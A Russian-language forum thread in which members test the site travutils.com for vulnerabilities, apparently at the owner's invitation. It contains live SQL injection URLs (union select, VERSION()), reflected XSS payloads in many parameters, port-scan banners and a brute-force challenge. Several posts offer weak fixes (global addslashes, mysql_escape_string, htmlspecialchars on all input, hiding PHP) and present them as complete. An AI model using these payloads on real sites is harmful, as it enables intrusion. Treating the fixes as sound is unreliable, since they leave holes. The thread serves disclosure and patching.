Есть скуль иньекция но пока еще не нашел вывод http://travutils.com/?s=com7_2006&ida=-4716%20union%20select%201111,1111,3333,4444,5555,6666,7777,8888,9999/* Могу добавить что версия мускула вроде пятая, так как реагирует на information_schema.tables
http://travutils.com/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/?s=com7_2006&kw=%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/?s=cat1&idu=%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/?s=cat1&ally=%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/index.php?s=cat1&%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/index.php?s=cat1&user=%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/de/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/fr/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/uk/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E http://travutils.com/ru/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E пути: http://travutils.com/?s=cat1&archiv=1' // http://travutils.com/?s=cat1&archiv=1+order+by+1/*
http://travutils.com/p/s/map.php?s=cz1&idv=1'&size=125&t=2&nocache http://travutils.com/p/s/map.php?s=cz1&idv=181591&size='&t=2&nocache http://travutils.com/p/s/map.php?s=cz1&idu=1'&size=125&t=2&nocache http://travutils.com/p/s/map.php?s=cz1&ida=1'&size=125&t=2&nocache Стоит на 3306 порту 5.0.32-Debian_7etch1 SMTP ---- ESMTP Postfix SSH-2.0-OpenSSH_4.3p2 vsFTPd 2.0.5 Насканил xSpider-ом...Лень было руками загребущими разгребать...
sql инъекция, я думаю, невозможна. Ну или по крайней мере бессмысленна. При выполнении любого скрипта работающего с базой сначала выполняется код: PHP: reset($_GET); for($i=0;$i<count($_GET);$i++){ $k=key($_GET); next($_GET); $_GET[$k]=addslashes($_GET[$k]); } reset($_POST); for($i=0;$i<count($_POST);$i++){ $k=key($_POST); next($_POST); $_POST[$k]=addslashes($_POST[$k]); } Почти во всех запросах входящие параметры берутся в кавычки, а там где не берутся - там и может быть уязвимость. Но об этом я давно в кусе, и в новой версии сайта уже такого не будет. Далее, даже если и добрались до осмысленного sql инъекции - у вас есть право только на чтение (sql пользователь, который работает от сайта). А поскольку на данный момент "все данные для всех" то и угрозы оно никакой не представляет. На тему javascript... BlackCats полный зачёт! Спасибо большое! Lithium спасибо за дырку в генераторе карты... особенно за вторую ссылку. На тему сканирования портов и аналогичных заметных вещей - я бы не советовал чего-то подобного делать, потому что хостинговые админы недавно отбились от крупной DDoS атаки и посему страшно злые... ЗЫ. Всем спасибо большое, в новой версии сайта будет защита от всего найденного!
Может лучше тестировать http://new.travutils.com/ ? Бо там я чуть-что буду исправлять всё подряд. Вплоть до идеального блеска... я думаю это будет всем интересно. Что скажете? http://new.travutils.com/ тут работает кнопка "вход" и всё что дальше от неё, кроме "забыли пароль?". Это на текущий момент. ЗЫ. К модераторам - на http://new.travutils.com/ тоже разместить ссылку?
http://new.travutils.com/?login=admin&pass=lalala&antybot=8150025&submit_login="><script>alert()</script>&long=on http://new.travutils.com/?login=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&pass1=lalala&email=%3Cscript%3Ealert%28%29%3C%3Fscript%3E&acept=on&antybot=8150025&submit_register=%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0%B8%D1%82%D1%8C
Сейчас это нормально. Алгоритм распарсивания url я уже прицепил к новому сайту, а наполнять содержимым ещё нет. Ибо логины надо сначала осилить. Дыру с языками заделал спасибо большое! Вот код, составления строки с новым языком (чтобы легче искать дыру было): PHP: if($_SERVER['QUERY_STRING']!=''){ $qstr='/?'; reset($_GET); for($j=0;$j<count($_GET);$j++){ $c=current($_GET); $k=key($_GET); next($_GET); $c=explode('"', $c);$c=$c[1]; $k=explode('"', $k);$k=$k[1]; $qstr.=$k; if($c!='')$qstr.='='.$c; if($j!=count($_GET)-1)$qstr.='&'; } }else{ $qstr=''; } for($i=1;$i<=count($ll->a);$i++){ print('<td id="p3" rowspan=2><a href="'.$home.$ll->a[$i].$qstr.'"><img alt="'.$ll->a[$i].'" class="leng" src="'.up.'flag/'.$ll->a[$i].'.gif"></a></td>'); }
Lithium на тему скана портов - незнаю. Не сильно в этом разбираюсь. Но то что админы в последнее время злые - это 100% BlackCats, всё кроме "путей" на основном сайте исправил, это был тот же глюк что нашёл чуть позже Lithium на новом сайте, только сейчас разобрался что это одно и тоже. Ещё раз спасибо всем за поиски дыр.
error_reporting(0); не помогает? P.S. Скуля: Code: http://travutils.com/?s=cat1&archiv=1&idv=-1+union+select+1,VERSION(),3,4,5/* XSS: Code: http://travutils.com/?s=cat1&archiv=1&kw="><script>alert()</script> Это было первым, что я просмотрел, поэтому скорее всего - это ещё не всё.
Code: http://travutils.com/ru/?s=cz13&idu=%22%3E%3Cscript%3Ealert()%3C/script%3E В каждом поле xss Code: http://new.travutils.com/?login=1
Чел, у тя полно XSS, попробуй это: PHP: $_GET = array_map("htmlspecialchars", $_GET); $_POST = array_map("htmlspecialchars", $_POST);
Это оказалось то что надо! Спасибо большое теперь я не вижу ни одного xss!!! Очень помогает! Спасибо огромное за ещё один совет! Да... взлом оценил, но дырку я сегодня не смогу залатать. Очень хочется спать. Завтра как залатаю отпишусь. Оффтоп: В правилах раздела написано, что тем кто нашёл уязвимости в сайте - надо начислять какие-то бонусные очки. Это я должен делать? Если да - то как? blackybr : нет, не ты
PHP: $_GET = array_map("htmlspecialchars", $_GET); $_POST = array_map("htmlspecialchars", $_POST); $_GET = array_map("mysql_escape_string", $_GET); $_POST = array_map("mysql_escape_string", $_POST); Хых, вот - должно от скуль и xss спасти =)
Спасибо помогло. Указанную уязвимость mysql инъекции исправил. Вот ещё наводка - на страницах типа http://travutils.com/?s=cat1&vill используется ajax. Может удастся тут что-то сделать? Кроме того календарик тоже на ajax построен.
Неужели уязвимостей больше нет? А вот такое: Задача: На http://new.travutils.com/?login есть пользователь "test" известно, что пароль длинной 5 символов, также известно, что в состав пароля входят только цифры [0-9]. Вопрос: Какой пароль этого пользователя? Примечание: Попробуйте plz перебором взломать halkfild: это твой сайт, какой смысл брутить учетку? и как брут твоей учетки относится к проверке на уязвимости твоего сайта? Anlide: Поставил несколько защит от брутфорса, вполне логично, что я хочу увидеть её работу в действии. А если будет тяжело взломать учётки пользователей - то и сайт вцелом будет лучше защищён.
Я непонимаю зачем вообще давать знак что сайт написан на php и какие параметры он принимает? Пишем элементарно в .htaccess Options +FollowSymlinks All -Indexes RewriteEngine on RewriteRule ^xxx/([0-9]{1,100})\.html$ xxx/templates/main_template.php?section=$1 [nc] //если не в курсе - при запросе xxx/2.html отображается результаты скрипта xxx/templates/main_template.php?section=2 и все проблемы разом и навсегда отпадают. Дополнительно на входные POST, GET и COOKIE ставишь preg_replace('/[^0-9]+/','',$_POST['xxx'] //Выкидывать все символы кроме цифр Никакой хукер не доберется, защита алмазная! Я на всех проектах своих так ставлю.
На тему сокрытия php очень интересно, спасибо. Но к сожалению слишком многое придётся для этого переделывать. Но идея канешна супер! Её бы в рамочку перед началом разработки любого сложного сайта На тему выбрасывания не-цифр из входящих параметров, вот http://travutils.com/?s=ru2&kw=vasa в строке 2 параметра, которые надо обязательно представлять в строчном виде. И второй параметр должен уметь содержать любые utf-8 символы, потому тут приходится действовать "всё разрешено, кроме" а не "всё запрещено, кроме". А при разработке логин/пароль системы одними цифрами ограничится некорректно... хотя да, защита действительно алмазная.
любые utf-8 символы это опасно. Надо разрешить с десяток символов, букв латиницы и цифры и прописать их в то регулярное выражение. Ничего с посетителем не станет если вы требуете ограниченные символы в логине/пароле. У меня несколько счетов в банках Англии, у них к примеру разрешены только буквы и цифры в веб-интерфейсе доступа к панели управления... Одно правило - не доверять сети. Все что потенциально ненужно - запрещать. Только так можно оградить себя от взломов.